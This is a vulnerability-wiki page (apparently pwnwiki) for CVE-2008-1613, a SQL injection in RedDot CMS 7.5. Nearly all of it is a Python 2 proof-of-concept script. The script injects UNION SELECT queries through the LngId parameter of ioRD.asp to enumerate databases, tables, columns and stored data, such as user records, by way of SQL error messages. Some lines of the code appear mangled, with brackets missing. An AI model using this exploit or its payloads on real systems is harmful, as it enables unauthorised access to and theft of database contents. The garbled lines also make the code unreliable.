Loading
0

CVE-2008-1613 RedDot CMS 7.5 Build 7.5.0.48 SQL注入漏洞

免费、自由、人人可编辑的漏洞库

,

POC

#!/usr/bin/env python

# un-comment your selection.

import urllib2
import urllib
import string
import getopt
import sys

def banner():
  print
  print "RED DOT CMS 7.5 database enumeration"
  print "by Mark Crowther and Rodrigo Marcos"

def usage():
  print
  print "usage():"
  print "python RD_POC.py options URL"
  print
  print " options"
  print "    --dbenum: Database enumeration"
  print "    --tableenum: Table enumeration, use -d to specify database"
  print "    --colenum: Column enumeration, use -d to specify database and -t to specify table"
  print "    --dataenum: Data enumeration, use -d to specify database, -t to specify table and -c to specify a column"
  print "    -d: Specify a database"
  print "    -t: Specify a table"
  print "    -c: Specify a column"
  print "    -h: Help page"
  print
  print "Examples: "
  print "    python RD_POC.py --dbenum http://myhost/cms/"
  print "    python RD_POC.py --tableenum -d IoAdministration http://myhost/cms/"
  print "    python RD_POC.py --colenum -d IoAdministration -t IO_USR http://myhost/cms/"
  print "    python RD_POC.py --dataenum -d IoAdministration -t IO_USR -c USR2 http://myhost/cms/"
  print
  sys.exit()

def retrievedata(url1, url2 = "' ORDER BY 1;-- &DisableAutoLogin=1"):
  stop = 0

  current = ''

  while (stop==0):

    request = url1 + current + url2

    request = string.replace(request, ' ', '%20')
    req = urllib2.Request(request)
    try:
      r = urllib2.urlopen(req)
    except urllib2.URLError, msg:
      print "+ Error: Error requesting URL (%s)" % msg
    result = r.read()

    #print result
    if string.find(result, ' Description  Conversion failed when converting the ') == -1:
      stop = 1
    else:
      start = string.find(result, "'") + 1
      end = string.find(resultstart:, "'") + start
      current = resultstart:end
      print current


def dbenum():

  retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYS.SYSDATABASES where name> '")

def tableenum(database=''):

  if database=='':
    retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYSOBJECTS where xtype=char(85) and name> '")

  else:
    retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM " + database + "..SYSOBJECTS where xtype=char(85) and name> '")

def colenum(table, database=''):

  if table=='':
    usage()

  if database=='':
    retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYSCOLUMNS where name > '", "' AND id = (SELECT id from SYSOBJECTS WHERE name= '" + table + "') ORDER BY 1;-- &DisableAutoLogin=1")
  else:
    retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM " + database + "..SYSCOLUMNS where name > '","' AND id = (SELECT id from " + database + "..SYSOBJECTS WHERE name= '" + table + "') ORDER BY 1;-- &DisableAutoLogin=1")


def dataenum(column, table, database=''):

  if column=='' or table=='':
    usage()

  if database=='':
    retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT MIN(" + column + ") FROM " + table + " WHERE " + column + "> '")
  
  else:
    retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT MIN(" + column + ") FROM " + database + ".." + table + " WHERE " + column + "> '")


banner()
pdbenum = 0
ptableenum = 0
pcolenum = 0
pdataenum = 0
database = ''
table = ''
column = ''

url =  sys.argvlen(sys.argv)-1

try:
  opts, args = getopt.getopt(sys.argv1:, "d:t:c:h:", "help", "dbenum", "tableenum", "colenum", "dataenum")
except getopt.GetoptError:
  usage()

try:
  for o, a in opts:
    if o in ("-h", "--help"):
      usage()
    if o == "--dbenum":
      pdbenum = 1
    if o == "--tableenum":
      ptableenum = 1
    if o == "--colenum":
      pcolenum = 1
    if o == "--dataenum":
      pdataenum = 1
    if o == "-d":
      database = a
    if o == "-t":
      table = a
    if o == "-c":
      column = a
except:
  usage()


if pdbenum == 1:
  print 'Enumerating databases:'
  dbenum()
elif ptableenum == 1:
  print 'Enumerating tables:'
  tableenum(database)
elif pcolenum == 1:
  print 'Enumerating columns:'
  colenum(table, database)
elif pdataenum == 1:
  print 'Enumerating data:'
  dataenum(column, table, database)
else:
  usage()

免费、自由、人人可编辑的漏洞库--pwnwiki.com